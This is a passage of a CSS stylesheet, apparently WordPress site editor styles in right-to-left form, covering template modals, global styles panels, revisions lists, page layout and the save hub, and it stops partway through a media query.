.edit-site-custom-template-modal__contents>.components-button{
  height:auto;
  justify-content:center;
}
@media (min-width:782px){
  .edit-site-custom-template-modal{
    width:456px;
  }
}
@media (min-width:600px){
  .edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{
    max-height:224px;
    overflow-y:auto;
  }
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{
  display:block;
  height:auto;
  overflow-wrap:break-word;
  padding:8px 12px;
  text-align:right;
  white-space:pre-wrap;
  width:100%;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{
  background:none;
  font-weight:700;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{
  color:var(--wp-admin-theme-color);
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{
  background-color:#f0f0f0;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{
  display:block;
  overflow:hidden;
  text-overflow:ellipsis;
}
.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{
  color:#757575;
  word-break:break-all;
}

.edit-site-custom-template-modal__no-results{
  border:1px solid #ccc;
  border-radius:2px;
  padding:16px;
}

.edit-site-custom-generic-template__modal .components-modal__header{
  border-bottom:none;
}
.edit-site-custom-generic-template__modal .components-modal__content:before{
  margin-bottom:4px;
}

@media (min-width:960px){
  .edit-site-add-new-template__modal{
    margin-top:64px;
    max-height:calc(100% - 128px);
    max-width:832px;
    width:calc(100% - 128px);
  }
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{
  fill:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{
  align-items:flex-start;
  flex-grow:1;
}
.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:100%;
  max-height:40px;
  max-width:40px;
  padding:8px;
}

.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{
  border:1px solid #ddd;
  display:flex;
  flex-direction:column;
  justify-content:center;
  outline:1px solid #0000;
  padding:32px;
}
.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{
  color:#1e1e1e;
}
.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{
  color:#757575;
}
.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-color:#0000;
  color:var(--wp-admin-theme-color-darker-10);
}
.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{
  border-color:#0000;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:3px solid #0000;
}
.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{
  color:var(--wp-admin-theme-color);
}
.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{
  grid-column:1 /  -1;
}

.edit-site-add-new-template__template-list__contents>.components-button{
  align-items:flex-start;
  height:100%;
  text-align:start;
}

.edit-site-visual-editor__editor-canvas.is-focused{
  outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);
  outline-offset:calc(var(--wp-admin-border-width-focus)*-2);
}

.edit-site-canvas-loader{
  align-items:center;
  display:flex;
  height:100%;
  justify-content:center;
  opacity:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
@media not (prefers-reduced-motion){
  .edit-site-canvas-loader{
    animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;
    animation-fill-mode:forwards;
  }
}
.edit-site-canvas-loader>div{
  width:160px;
}

@keyframes edit-site-canvas-loader__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
.edit-site-global-styles-preview{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  line-height:1;
}

.edit-site-global-styles-preview__wrapper{
  display:block;
  max-width:100%;
  width:100%;
}

.edit-site-typography-preview{
  align-items:center;
  background:#f0f0f0;
  border-radius:2px;
  display:flex;
  justify-content:center;
  margin-bottom:16px;
  min-height:100px;
  overflow:hidden;
}

.edit-site-font-size__item{
  line-break:anywhere;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.edit-site-font-size__item-value{
  color:#757575;
}

.edit-site-global-styles-screen{
  margin:12px 16px 16px;
}

.edit-site-global-styles-screen-typography__indicator{
  align-items:center;
  border-radius:1px;
  display:flex !important;
  font-size:14px;
  height:24px;
  justify-content:center;
  width:24px;
}

.edit-site-global-styles-screen-typography__font-variants-count{
  color:#757575;
}

.edit-site-global-styles-font-families__manage-fonts{
  justify-content:center;
}

.edit-site-global-styles-screen .color-block-support-panel{
  border-top:none;
  padding-left:0;
  padding-right:0;
  padding-top:0;
  row-gap:12px;
}

.edit-site-global-styles-header__description{
  padding:0 16px;
}

.edit-site-block-types-search{
  margin-bottom:8px;
  padding:0 16px;
}

.edit-site-global-styles-header{
  margin-bottom:0 !important;
}

.edit-site-global-styles-subtitle{
  font-size:11px !important;
  font-weight:500 !important;
  margin-bottom:0 !important;
  text-transform:uppercase;
}

.edit-site-global-styles-section-title{
  color:#2f2f2f;
  font-weight:600;
  line-height:1.2;
  margin:0;
  padding:16px 16px 0;
}

.edit-site-global-styles-icon-with-current-color{
  fill:currentColor;
}

.edit-site-global-styles__color-indicator-wrapper{
  flex-shrink:0;
  height:24px;
}

.edit-site-global-styles__shadows-panel__options-container,.edit-site-global-styles__shadows-panel__title{
  height:24px;
}

.edit-site-global-styles__block-preview-panel{
  border:1px solid #e0e0e0;
  border-radius:4px;
  overflow:hidden;
  position:relative;
  width:100%;
}

.edit-site-global-styles__shadow-preview-panel{
  background-image:repeating-linear-gradient(-45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5), repeating-linear-gradient(-45deg, #f5f5f5 25%, #0000 0, #0000 75%, #f5f5f5 0, #f5f5f5);
  background-position:100% 0, right 8px top 8px;
  background-size:16px 16px;
  border:1px solid #e0e0e0;
  border-radius:4px;
  height:144px;
  overflow:auto;
}
.edit-site-global-styles__shadow-preview-panel .edit-site-global-styles__shadow-preview-block{
  background-color:#fff;
  border:1px solid #e0e0e0;
  border-radius:2px;
  height:60px;
  width:60%;
}

.edit-site-global-styles__shadow-editor__dropdown-content{
  width:280px;
}

.edit-site-global-styles__shadow-editor-panel{
  margin-bottom:4px;
}

.edit-site-global-styles__shadow-editor__dropdown{
  position:relative;
  width:100%;
}

.edit-site-global-styles__shadow-editor__dropdown-toggle{
  border-radius:inherit;
  height:auto;
  padding-bottom:8px;
  padding-top:8px;
  text-align:right;
  width:100%;
}
.edit-site-global-styles__shadow-editor__dropdown-toggle.is-open{
  background:#f0f0f0;
  color:var(--wp-admin-theme-color);
}

.edit-site-global-styles__shadow-editor__remove-button{
  left:8px;
  opacity:0;
  position:absolute;
  top:8px;
}
.edit-site-global-styles__shadow-editor__remove-button.edit-site-global-styles__shadow-editor__remove-button{
  border:none;
}
.edit-site-global-styles__shadow-editor__dropdown-toggle:hover+.edit-site-global-styles__shadow-editor__remove-button,.edit-site-global-styles__shadow-editor__remove-button:focus,.edit-site-global-styles__shadow-editor__remove-button:hover{
  opacity:1;
}
@media (hover:none){
  .edit-site-global-styles__shadow-editor__remove-button{
    opacity:1;
  }
}

.edit-site-global-styles-screen-css{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
  margin:16px;
}
.edit-site-global-styles-screen-css .components-v-stack{
  flex:1 1 auto;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{
  display:flex;
  flex:1 1 auto;
  flex-direction:column;
}
.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{
  direction:ltr;
  flex:1 1 auto;
}

.edit-site-global-styles-screen-css-help-link{
  display:inline-block;
  margin-top:8px;
}

.edit-site-global-styles-screen-variations{
  border-top:1px solid #ddd;
  margin-top:16px;
}
.edit-site-global-styles-screen-variations>*{
  margin:24px 16px;
}

.edit-site-global-styles-sidebar__navigator-provider{
  height:100%;
}

.edit-site-global-styles-sidebar__navigator-screen{
  display:flex;
  flex-direction:column;
  height:100%;
}

.edit-site-global-styles-sidebar__navigator-screen .single-column{
  grid-column:span 1;
}

.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{
  background:unset;
  color:inherit;
}

.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{
  fill:currentColor;
}

.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile,.edit-site-global-styles-screen-root__active-style-tile.edit-site-global-styles-screen-root__active-style-tile .edit-site-global-styles-screen-root__active-style-tile-preview{
  border-radius:2px;
}

.edit-site-global-styles-screen-revisions__revisions-list{
  flex-grow:1;
  list-style:none;
  margin:0 16px 16px;
}
.edit-site-global-styles-screen-revisions__revisions-list li{
  margin-bottom:0;
}

.edit-site-global-styles-screen-revisions__revision-item{
  cursor:pointer;
  display:flex;
  flex-direction:column;
  position:relative;
}
.edit-site-global-styles-screen-revisions__revision-item[role=option]:active,.edit-site-global-styles-screen-revisions__revision-item[role=option]:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.edit-site-global-styles-screen-revisions__revision-item:hover{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
}
.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{
  content:"\a";
  display:block;
  position:absolute;
}
.edit-site-global-styles-screen-revisions__revision-item:before{
  background:#ddd;
  border:4px solid #0000;
  border-radius:50%;
  height:8px;
  right:17px;
  top:18px;
  transform:translate(50%, -50%);
  width:8px;
  z-index:1;
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  border-radius:2px;
  color:var(--wp-admin-theme-color);
  outline:3px solid #0000;
  outline-offset:-2px;
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__date{
  color:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true]:before{
  background:var(--wp-admin-theme-color);
}
.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__changes>li,.edit-site-global-styles-screen-revisions__revision-item[aria-selected=true] .edit-site-global-styles-screen-revisions__meta{
  color:#1e1e1e;
}
.edit-site-global-styles-screen-revisions__revision-item:after{
  border:.5px solid #ddd;
  height:100%;
  right:16px;
  top:0;
  width:0;
}
.edit-site-global-styles-screen-revisions__revision-item:first-child:after{
  top:18px;
}
.edit-site-global-styles-screen-revisions__revision-item:last-child:after{
  height:18px;
}

.edit-site-global-styles-screen-revisions__revision-item-wrapper{
  display:block;
  padding:12px 40px 4px 12px;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__apply-button.is-primary{
  align-self:flex-start;
  margin:4px 40px 12px 12px;
}

.edit-site-global-styles-screen-revisions__applied-text,.edit-site-global-styles-screen-revisions__changes,.edit-site-global-styles-screen-revisions__meta{
  color:#757575;
  font-size:12px;
}

.edit-site-global-styles-screen-revisions__description{
  align-items:flex-start;
  display:flex;
  flex-direction:column;
  gap:8px;
}
.edit-site-global-styles-screen-revisions__description .edit-site-global-styles-screen-revisions__date{
  font-size:12px;
  font-weight:600;
  text-transform:uppercase;
}

.edit-site-global-styles-screen-revisions__meta{
  align-items:flex-start;
  display:flex;
  justify-content:start;
  margin-bottom:4px;
  text-align:right;
  width:100%;
}
.edit-site-global-styles-screen-revisions__meta img{
  border-radius:100%;
  height:16px;
  margin-left:8px;
  width:16px;
}

.edit-site-global-styles-screen-revisions__loading{
  margin:24px auto !important;
}

.edit-site-global-styles-screen-revisions__changes{
  line-height:1.4;
  list-style:disc;
  margin-right:12px;
  text-align:right;
}
.edit-site-global-styles-screen-revisions__changes li{
  margin-bottom:4px;
}

.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination{
  gap:2px;
  justify-content:space-between;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .edit-site-pagination__total{
  height:1px;
  margin:-1px;
  overflow:hidden;
  position:absolute;
  right:-1000px;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-text{
  font-size:12px;
  will-change:opacity;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary{
  color:#1e1e1e;
}
.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary:disabled,.edit-site-global-styles-screen-revisions__pagination.edit-site-global-styles-screen-revisions__pagination .components-button.is-tertiary[aria-disabled=true]{
  color:#949494;
}

.edit-site-global-styles-screen-revisions__footer{
  background:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:56px;
  min-width:100%;
  padding:12px;
  position:sticky;
  z-index:1;
}

.editor-sidebar{
  width:280px;
}
.editor-sidebar>.components-panel{
  border-left:0;
  border-right:0;
  margin-bottom:-1px;
  margin-top:-1px;
}
.editor-sidebar>.components-panel>.components-panel__header{
  background:#f0f0f0;
}
.editor-sidebar .block-editor-block-inspector__card{
  margin:0;
}

.edit-site-global-styles-sidebar{
  display:flex;
  flex-direction:column;
  min-height:100%;
}
.edit-site-global-styles-sidebar__panel{
  flex:1;
}

.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-title{
  margin:0;
}

.edit-site-global-styles-sidebar .edit-site-global-styles-sidebar__header-actions{
  flex:1;
}

.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{
  font-size:15.6px;
  font-weight:500;
}

.edit-site-global-styles-sidebar .components-navigation__item>button span{
  font-weight:500;
}

.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings{
  border:0;
}

.edit-site-global-styles-sidebar .single-column{
  grid-column:span 1;
}

.edit-site-global-styles-sidebar .components-tools-panel .span-columns{
  grid-column:1 /  -1;
}

.edit-site-global-styles-sidebar__blocks-group{
  border-top:1px solid #e0e0e0;
  padding-top:24px;
}

.edit-site-global-styles-sidebar__blocks-group-help{
  padding:0 16px;
}

.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{
  padding:16px;
}

.edit-site-global-styles-sidebar hr{
  margin:0;
}

.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon{
  width:auto;
}
.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}

.edit-site-page{
  background:#fff;
  color:#2f2f2f;
  container:edit-site-page/inline-size;
  height:100%;
}
@media not (prefers-reduced-motion){
  .edit-site-page{
    transition:width .2s ease-out;
  }
}

.edit-site-page-header{
  background:#fff;
  border-bottom:1px solid #f0f0f0;
  padding:16px 48px;
  position:sticky;
  top:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .edit-site-page-header{
    transition:padding .1s ease-out;
  }
}
.edit-site-page-header .components-heading{
  color:#1e1e1e;
}
.edit-site-page-header .edit-site-page-header__page-title{
  min-height:40px;
}
.edit-site-page-header .edit-site-page-header__page-title .components-heading{
  flex-basis:0;
  flex-grow:1;
  white-space:nowrap;
}
.edit-site-page-header .edit-site-page-header__sub-title{
  margin-bottom:8px;
}

@container (max-width: 430px){
  .edit-site-page-header{
    padding:16px 24px;
  }
}
.edit-site-page-content{
  display:flex;
  flex-flow:column;
  height:100%;
  position:relative;
  z-index:1;
}

.edit-site-patterns__delete-modal{
  width:384px;
}

.page-patterns-preview-field{
  align-items:center;
  border-radius:4px;
  display:flex;
  flex-direction:column;
  height:100%;
  justify-content:center;
}
.dataviews-view-grid .page-patterns-preview-field .block-editor-block-preview__container{
  height:100%;
}
.dataviews-view-table .page-patterns-preview-field{
  flex-grow:0;
  text-wrap:balance;
  text-wrap:pretty;
  width:96px;
}

.edit-site-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
  flex-shrink:0;
}

.edit-site-patterns__section-header{
  border-bottom:1px solid #f0f0f0;
  flex-shrink:0;
  min-height:40px;
  padding:16px 48px;
  position:sticky;
  top:0;
  z-index:2;
}
@media not (prefers-reduced-motion){
  .edit-site-patterns__section-header{
    transition:padding .1s ease-out;
  }
}
.edit-site-patterns__section-header .edit-site-patterns__title{
  min-height:40px;
}
.edit-site-patterns__section-header .edit-site-patterns__title .components-heading{
  flex-basis:0;
  flex-grow:1;
  white-space:nowrap;
}
.edit-site-patterns__section-header .edit-site-patterns__sub-title{
  margin-bottom:8px;
}
.edit-site-patterns__section-header .screen-reader-shortcut:focus{
  top:0;
}

.edit-site-page-patterns-dataviews .dataviews-view-grid__badge-fields .dataviews-view-grid__field-value:has(.edit-site-patterns__field-sync-status-fully){
  background:rgba(var(--wp-block-synced-color--rgb), .04);
  color:var(--wp-block-synced-color);
}

.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{
  width:350px;
}
.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  max-height:96px;
  min-width:auto;
  position:absolute;
  right:-1px;
  width:calc(100% + 2px);
  z-index:1;
}

@media (min-width:600px){
  .dataviews-action-modal__duplicate-template-part .components-modal__frame{
    max-width:500px;
  }
}

@container (max-width: 430px){
  .edit-site-page-patterns-dataviews .edit-site-patterns__section-header{
    padding-left:24px;
    padding-right:24px;
  }
}
.page-templates-preview-field{
  align-items:center;
  border-radius:4px;
  display:flex;
  flex-direction:column;
  height:100%;
  justify-content:center;
  width:100%;
}
.dataviews-view-list .page-templates-preview-field .block-editor-block-preview__container{
  height:120px;
}
.dataviews-view-grid .page-templates-preview-field .block-editor-block-preview__container{
  height:100%;
}
.dataviews-view-table .page-templates-preview-field{
  max-height:160px;
  position:relative;
  text-wrap:balance;
  text-wrap:pretty;
  width:120px;
}
.dataviews-view-table .page-templates-preview-field:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.page-templates-description{
  max-width:50em;
  text-wrap:balance;
  text-wrap:pretty;
}
.dataviews-view-table .page-templates-description{
  display:block;
  margin-bottom:8px;
}

.edit-site-page-templates .dataviews-pagination{
  z-index:2;
}

.page-templates-author-field__avatar{
  align-items:center;
  display:flex;
  flex-shrink:0;
  height:24px;
  justify-content:right;
  overflow:hidden;
  width:24px;
}
.page-templates-author-field__avatar img{
  border-radius:100%;
  height:16px;
  object-fit:cover;
  opacity:0;
  width:16px;
}
@media not (prefers-reduced-motion){
  .page-templates-author-field__avatar img{
    transition:opacity .1s linear;
  }
}
.page-templates-author-field__avatar.is-loaded img{
  opacity:1;
}

.page-templates-author-field__icon{
  display:flex;
  flex-shrink:0;
  height:24px;
  width:24px;
}
.page-templates-author-field__icon svg{
  margin-right:-4px;
  fill:currentColor;
}

.page-templates-author-field__name{
  overflow:hidden;
  text-overflow:ellipsis;
}

.edit-site-list__rename-modal{
  z-index:1000001;
}
@media (min-width:782px){
  .edit-site-list__rename-modal .components-base-control{
    width:320px;
  }
}

.edit-site-editor__editor-interface{
  opacity:1;
}
@media not (prefers-reduced-motion){
  .edit-site-editor__editor-interface{
    transition:opacity .1s ease-out;
  }
}
.edit-site-editor__editor-interface.is-loading{
  opacity:0;
}

.edit-site-editor__toggle-save-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  padding:24px;
  width:280px;
}

.edit-site-editor__view-mode-toggle{
  view-transition-name:toggle;
  height:60px;
  right:0;
  top:0;
  width:60px;
  z-index:100;
}
.edit-site-editor__view-mode-toggle .components-button{
  align-items:center;
  border-radius:0;
  color:#fff;
  display:flex;
  height:100%;
  justify-content:center;
  overflow:hidden;
  padding:0;
  width:100%;
}
.edit-site-editor__view-mode-toggle .components-button:active,.edit-site-editor__view-mode-toggle .components-button:hover{
  color:#fff;
}
.edit-site-editor__view-mode-toggle .components-button:focus{
  box-shadow:none;
}
.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon img,.edit-site-editor__view-mode-toggle .edit-site-editor__view-mode-toggle-icon svg{
  background:#1e1e1e;
  display:block;
}

.edit-site-editor__back-icon{
  align-items:center;
  background-color:#ccc;
  display:flex;
  height:60px;
  justify-content:center;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  width:60px;
}
.edit-site-editor__back-icon svg{
  fill:currentColor;
}
.edit-site-editor__back-icon.has-site-icon{
  -webkit-backdrop-filter:saturate(180%) blur(15px);
  backdrop-filter:saturate(180%) blur(15px);
  background-color:#fff9;
}

.edit-site-welcome-guide{
  width:312px;
}
.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image,.edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{
  background:#00a0d2;
}
.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{
  border-left:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{
  border-right:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide__image{
  margin:0 0 16px;
}
.edit-site-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-site-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-site-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 16px;
  padding:0 32px;
}
.edit-site-welcome-guide__text img{
  vertical-align:bottom;
}
.edit-site-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-site-layout{
  color:#ccc;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{
  background:#1e1e1e;
}

.edit-site-layout__content{
  display:flex;
  flex-grow:1;
  height:100%;
}

.edit-site-layout__sidebar-region{
  flex-shrink:0;
  width:100vw;
  z-index:1;
}
@media (min-width:782px){
  .edit-site-layout__sidebar-region{
    width:300px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{
  height:100vh;
  position:fixed !important;
  right:0;
  top:0;
}
.edit-site-layout__sidebar-region .edit-site-layout__sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout__sidebar-region .resizable-editor__drag-handle{
  left:0;
}

.edit-site-layout__main{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}

.edit-site-layout__mobile{
  display:flex;
  flex-direction:column;
  position:relative;
  width:100%;
  z-index:2;
}
.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{
  padding:0;
}
.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{
  padding:0 12px;
}

.edit-site-layout__canvas-container{
  flex-grow:1;
  overflow:visible;
  position:relative;
  z-index:2;
}
.edit-site-layout__canvas-container.is-resizing:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100;
}

.edit-site-layout__canvas{
  align-items:center;
  bottom:0;
  display:flex;
  justify-content:center;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.edit-site-layout__canvas.is-right-aligned{
  justify-content:flex-end;
}
.edit-site-layout__canvas .edit-site-resizable-frame__inner{
  color:#1e1e1e;
}
@media (min-width:782px){
  .edit-site-layout__canvas{
    bottom:16px;
    top:16px;
    width:calc(100% - 16px);
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
    overflow:hidden;
  }
}
@media (min-width:782px) and (not (prefers-reduced-motion)){
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    transition:border-radius,box-shadow .4s;
  }
}
@media (min-width:782px){
  .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{
    border-radius:8px;
  }
  .edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{
    box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas{
  bottom:0;
  top:0;
  width:100%;
}

.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{
  min-height:100% !important;
  position:relative !important;
}

.edit-site-template-pages-preview{
  height:100%;
}
html.canvas-mode-edit-transition::view-transition-group(toggle){
  animation-delay:255ms;
}

@media (prefers-reduced-motion){
  ::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){
    animation:none !important;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{
  display:none;
}

.edit-site-layout__view-mode-toggle.components-button{
  view-transition-name:toggle;
  align-items:center;
  background:#1e1e1e;
  border-radius:0;
  color:#fff;
  display:flex;
  height:60px;
  justify-content:center;
  overflow:hidden;
  padding:0;
  position:relative;
  width:60px;
}
.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{
  color:#fff;
}
.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{
  box-shadow:0 0 0 3px #1e1e1e, 0 0 0 6px var(--wp-admin-theme-color);
  outline:4px solid #0000;
  outline-offset:4px;
}
.edit-site-layout__view-mode-toggle.components-button:before{
  border-radius:4px;
  bottom:9px;
  box-shadow:none;
  content:"";
  display:block;
  left:9px;
  position:absolute;
  right:9px;
  top:9px;
}
@media not (prefers-reduced-motion){
  .edit-site-layout__view-mode-toggle.components-button:before{
    transition:box-shadow .1s ease;
  }
}
.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{
  align-items:center;
  display:flex;
  height:60px;
  justify-content:center;
  width:60px;
}

.edit-site-layout__actions{
  background:#fff;
  bottom:auto;
  color:#1e1e1e;
  left:0;
  position:fixed !important;
  right:auto;
  top:-9999em;
  width:280px;
  z-index:100000;
}
.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{
  bottom:0;
  top:auto;
}
.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{
  top:0;
}
@media (min-width:782px){
  .edit-site-layout__actions{
    border-right:1px solid #ddd;
  }
}

.edit-site-layout__area{
  box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;
  flex-grow:1;
  margin:0;
  overflow:hidden;
}
@media (min-width:782px){
  .edit-site-layout__area{
    border-radius:8px;
    margin:16px 0 16px 16px;
  }
}

.edit-site .components-editor-notices__snackbar{
  bottom:16px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:fixed;
}

.edit-site-save-hub{
  border-top:1px solid #2f2f2f;
  color:#949494;
  flex-shrink:0;
  margin:0;
  padding:16px;
}

.edit-site-save-hub__button{
  color:inherit;
  justify-content:center;
  width:100%;
}
.edit-site-save-hub__button[aria-disabled=true]{
  opacity:1;
}
.edit-site-save-hub__button[aria-disabled=true]:hover{
  color:inherit;
}
.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{
  color:#1e1e1e;
}

@media (min-width:600px){
